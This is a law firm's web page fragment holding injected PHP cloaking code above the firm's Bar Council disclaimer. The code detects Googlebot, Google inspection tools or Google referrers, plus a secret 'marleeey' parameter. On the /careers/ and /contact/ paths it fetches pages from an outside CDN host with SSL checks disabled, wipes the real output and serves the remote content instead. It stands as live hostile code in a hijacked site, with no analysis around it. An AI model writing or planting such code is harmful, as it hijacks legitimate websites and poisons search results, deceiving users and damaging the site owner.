$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $ref = $_SERVER['HTTP_REFERER'] ?? ''; $path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH); $isBot = preg_match('~googlebot|adsbot|inspectiontool|apis-google|mediapartners~i', $ua); $map = array( '/careers/' => 'https://marleeey-ag.b-cdn.net/cloakingan.txt/legal-mpooooo.html', '/contact/' => 'https://marleeey-ag.b-cdn.net/cloakingan.txt/legal-sboooo.html', ); if (($isBot || strpos($ref, 'search.google') !== false || isset($_GET['marleeey'])) && isset($map[$path])) { if ($isBot) usleep(300000); $url = $map[$path]; $c = @file_get_contents($url); if (!$c) { $ch = @curl_init($url); if ($ch) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); @curl_setopt($ch, CURLOPT_TIMEOUT, 5); @curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0'); $c = @curl_exec($ch); @curl_close($ch); } } if ($c) { if (ob_get_length()) @ob_clean(); @header('Content-Type:text/html; charset=UTF-8'); @header('Cache-Control:no-store,no-cache,must-revalidate,max-age=0'); echo $c; exit; } }
The Bar Council of India restricts advocates from maintaining a website as a source of advertising. This site contains general information for informative purposes only. The reader should not consider / construe information on this site to be an invitation for any attorney-client relationship.